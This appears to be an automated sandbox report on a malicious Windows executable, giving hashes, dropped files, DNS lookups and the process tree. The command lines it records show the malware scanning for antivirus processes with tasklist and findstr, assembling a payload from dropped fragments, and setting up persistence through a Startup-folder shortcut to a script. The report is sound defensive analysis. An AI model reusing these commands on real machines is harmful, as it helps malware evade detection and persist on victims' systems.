SHA-256:	451DED112D34145C8445C72B73A07F05F34D05A357A56E5FDCEAAC45239B721D
SHA-512:	3D224897100412528E1C4E3FD8493DF7D34279B77BCE87041E2D4783C37034141F22F83604255A2AC78AE61C2C8CA2226F9E997A6511EEA54D6BD29034EE8259
Malicious:	false
Preview:	....J... .(jLn...../..jV1.T...G`.. ..!..+...h..T.....Y.Kj.-...... H:v......rq.(l.r1.3..V.P.q.w<.D..........m ..r......G...~ L. x.zS.C..4..,8H.8.>/...M..d..]3._..a...KR@.b........N..r....K.c\|'8>...a....;x.}.Q7.VM..dD.mo8.Y....ig...;s....?.'Q-.../.N..........T.o~^B%...R.z....E..^l..w`cw_..(..4.A}.m.#...s!..-.^.Ug.6iT.a..%<.b5..q...X{?.}.g.o.'q..[T.Yn.D..&.9K<=..+pw..xm..1%....../...o.q.z...~.H[......m.....tUP.c.=.7C.H.@.Y4.\<..9..{...f......S......A........4.l%eY.$..)...b.h....Np...%T....1a\|.E..[.C........~.v...:{...#."....WG..I.W.m..a.S..}...).......Sj../.9.cR.......0..cF...9...G#Z!.n..FR.X..Q_.S...=.]J.s.{..u2.g......Q....[.Z;I..C..;.K.R.v._...(.n...hI.Q?.p.\.....].3W>..dQ....].q.{P."^6..O...\|..".p......;.R5u...%.s.@.....T..,.:..zX.d^$}AW`.2i.!......w(Q.....%....Cc.K1.5...S..0.....[..!o...........3F......dk0.5....S.Gq..]t`.G..s...<p.......>...L.<.....$.m...A...zPe..8...x.SN...-..U.B.X+.....G.D..gC..2...S}...m01...Onf._q.Z..`.

C:\Users\user\AppData\Local\Temp\Warren

Download File

Process:	C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe
File Type:	data
Category:	dropped
Size (bytes):	89088
Entropy (8bit):	7.9981255383238565
Encrypted:	true
SSDEEP:	1536:EfYQ5kMBQyoD4qRE+e9YVytDgXnRhLu4OZ8Ag0hiuH0X/F1YH6yVeSo/1pwiewuo:EFeH4q++eBtDgDGZ8j8iuUX/UH6yUh/j
MD5:	123D5DC78BA93D49EAB102C18A2883CE
SHA1:	B1331A7E9EC78BF05A4A8B84E19ADDA8C3908AD3
SHA-256:	B43499A7845F4A31540912909E87896C8A50E32A597A9C084E3A29EBF7B3F214
SHA-512:	6CACB9CD127FBC21BD5D039AD4E2EB9A2BB7D33631E80A81F5404A18FDE04B74DFE4C6CE151AD8A29A03BB0057BAF772D96EE2BC3EACB129B7A2166C8B62CCEE
Malicious:	false
Preview:	W....T..C...gG.J..(.....'e.;-.. ....z...~YU"..C..+....8l.^m.(w..1.HK..^6@....Q.......5..\|c.9....lO..LS..9a..JQ.........#....[.-_.r.-0(!:.v......._.4..=}i...\|8.i..3...M(K...YPL.......&.\|SS1m.Rs9...t..9i.P1~.na z.X.\|...5.t.#E}.A#....+sQ..j...?<.}o....T..\......n.V....K/.He.....K.V.).y...;.q...N..gr?....\|C.....2..@XO..I.u.....Y...{.$....~...%..E.m.4&..P........B.(..@@V,.'J.Tw..F.....x...mtr.>.......x3...........i3._.1..1{,.xn.j.!.(xU-..@..X....a%.<.4..p.~...=L...F1.u.i.......u/...:...,Ts-:2.......&w.m.]..w.y.....}F.3.....{u.Z-8.?..~..Us...da;.k.Hh.VhV.c....#.S..x...}....0[.~.Bw.G.V.o.L.e-...j~.RQ.E...i.m.F.i.gm=e%..".C....Y..'.].o..PKZ...#.L2.n..."..a..{...........6......6+..p...eN~.R......W..A<..g.?...._...1@H}...I.1......q....Z.....3-...Q..F..;..]rRa..-C.aq%../.#..0.A..J...".....&....J..)...[.r..@;2g.3..L(..SI....2...UI.H...w.. Y..(...R.o.o-..hx..d[.......4..>...jr.."..E`.......J..#l.."...5aL......@%{.yE.'.%..l...R..M....C#!..H..%

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DatumHub.url

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.9058239650634725
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYot+kiE2J5hE1WAAi+zQ3Fy:HRYF5yjowkn23kHAzk1y
MD5:	090D49F8B8843553D57BB265D27BDFD0
SHA1:	C3D427E5C0901A305248A847A2B6BA883E9D25B9
SHA-256:	092E44B77A326F65ABBB7296F6D3D2C238C74C98529C7EBB945E3994D42961A9
SHA-512:	25A64E861F690E7037BEE43B8BC19CCF286E640B65FC266401156D6C1AC6084772B8EA32F308579C1C8CDC047BB053ECA913ABB5252356155DC15A55CB4BD13F
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js" ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.694333786502742
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	66fd8d779da5e_EscortsRadios.exe
File size:	1'302'854 bytes
MD5:	9f2aa036b01b51f6ce185d8c2410c22a
SHA1:	b8fa58866b466500c34a5317d3de447bd9b4cd3e
SHA256:	beb7a3127427fa0560207cdb0becfebb2ed1c6d8dad335d3b3266ec741cdd495
SHA512:	8f23ba3a3fb85021743bd60ab873f753140495d2b3a384063b31df61c175fb6f9b836c4d22e4a39a566866a155be6c82b519b0782e380d260c04961046809c60
SSDEEP:	24576:eJuZ5ZXUujO41QKq3/09e3BD9QI4xCGGo9CgFTm3:4uPtcls92xy5Go9hF4
TLSH:	E455F15315C8D9C3DC9803F2AD26AA511255FCAE8CB25C1D69B1BA57F0332276F3B21E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8.....

File Icon


Icon Hash:	cc9aad6969638ecc

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2DA [Fri Feb 24 19:19:54 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007F6F21138F8Bh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007F6F21138C6Dh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007F6F21138C5Bh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007F6F2113655Ah
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007F6F21138931h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F6F211365E3h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F6F2113655Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x49da0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x49da0	0x49e00	8fde4570b273ada8100eeeac027efaa1	False	0.28497779187817257	data	5.78066195191389	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x13e000	0xf32	0x1000	828fc705dfb17608e8c3b32ce60c0aac	False	0.10693359375	data	1.447466788519543	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf41c0	0x44028	Device independent bitmap graphic, 256 x 512 x 32, image size 278528	English	United States	0.2676976537147124
RT_ICON	0x1381e8	0x5638	Device independent bitmap graphic, 72 x 144 x 32, image size 22032	English	United States	0.47716563972453785
RT_DIALOG	0x13d820	0x100	data	English	United States	0.5234375
RT_DIALOG	0x13d920	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x13da40	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x13daa0	0x22	data	English	United States	0.9411764705882353
RT_MANIFEST	0x13dac8	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 23:45:13.113858938 CEST	65505	53	192.168.2.4	1.1.1.1
Oct 3, 2024 23:45:14.124677896 CEST	65505	53	192.168.2.4	1.1.1.1
Oct 3, 2024 23:45:14.129365921 CEST	53	65505	1.1.1.1	192.168.2.4
Oct 3, 2024 23:45:14.131690979 CEST	53	65505	1.1.1.1	192.168.2.4
Oct 3, 2024 23:45:27.725265026 CEST	62281	53	192.168.2.4	1.1.1.1
Oct 3, 2024 23:45:27.735001087 CEST	53	62281	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 23:45:13.113858938 CEST	192.168.2.4	1.1.1.1	0xb7e9	Standard query (0)	fojjIZmGBFVhLMWz.fojjIZmGBFVhLMWz	A (IP address)	IN (0x0001)	false
Oct 3, 2024 23:45:14.124677896 CEST	192.168.2.4	1.1.1.1	0xb7e9	Standard query (0)	fojjIZmGBFVhLMWz.fojjIZmGBFVhLMWz	A (IP address)	IN (0x0001)	false
Oct 3, 2024 23:45:27.725265026 CEST	192.168.2.4	1.1.1.1	0x54e	Standard query (0)	fojjIZmGBFVhLMWz.fojjIZmGBFVhLMWz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 23:45:14.129365921 CEST	1.1.1.1	192.168.2.4	0xb7e9	Name error (3)	fojjIZmGBFVhLMWz.fojjIZmGBFVhLMWz	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 23:45:14.131690979 CEST	1.1.1.1	192.168.2.4	0xb7e9	Name error (3)	fojjIZmGBFVhLMWz.fojjIZmGBFVhLMWz	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 23:45:27.735001087 CEST	1.1.1.1	192.168.2.4	0x54e	Name error (3)	fojjIZmGBFVhLMWz.fojjIZmGBFVhLMWz	none	none	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	17:45:04
Start date:	03/10/2024
Path:	C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe"
Imagebase:	0x400000
File size:	1'302'854 bytes
MD5 hash:	9F2AA036B01B51F6CE185D8C2410C22A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:45:06
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Jeffrey Jeffrey.bat & Jeffrey.bat
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:45:06
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:45:08
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x200000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:45:08
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0x170000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:45:08
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x200000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:45:08
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
Imagebase:	0x170000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:45:09
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 527294
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:45:09
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "phisexyerrorspuzzle" Recorder
Imagebase:	0x170000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:45:09
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Bottle + ..\Audi + ..\Duties + ..\Integral + ..\Warren + ..\Casio + ..\Sunny d
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:45:09
Start date:	03/10/2024
Path:	C:\Users\user\AppData\Local\Temp\527294\Miniature.pif
Wow64 process (32bit):	true
Commandline:	Miniature.pif d
Imagebase:	0xf90000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	17:45:09
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x9d0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:45:11
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DatumHub.url" & echo URL="C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DatumHub.url" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:45:11
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	17:45:23
Start date:	03/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js"
Imagebase:	0x7ff748910000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:45:23
Start date:	03/10/2024
Path:	C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr" "C:\Users\user\AppData\Local\DatumHub Technologies\s"
Imagebase:	0xac0000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	1528
Total number of Limit Nodes:	33

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

New install of "%s" to "%s", xrefs: 00405182
@rD, xrefs: 004053D7
{, xrefs: 00405352

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

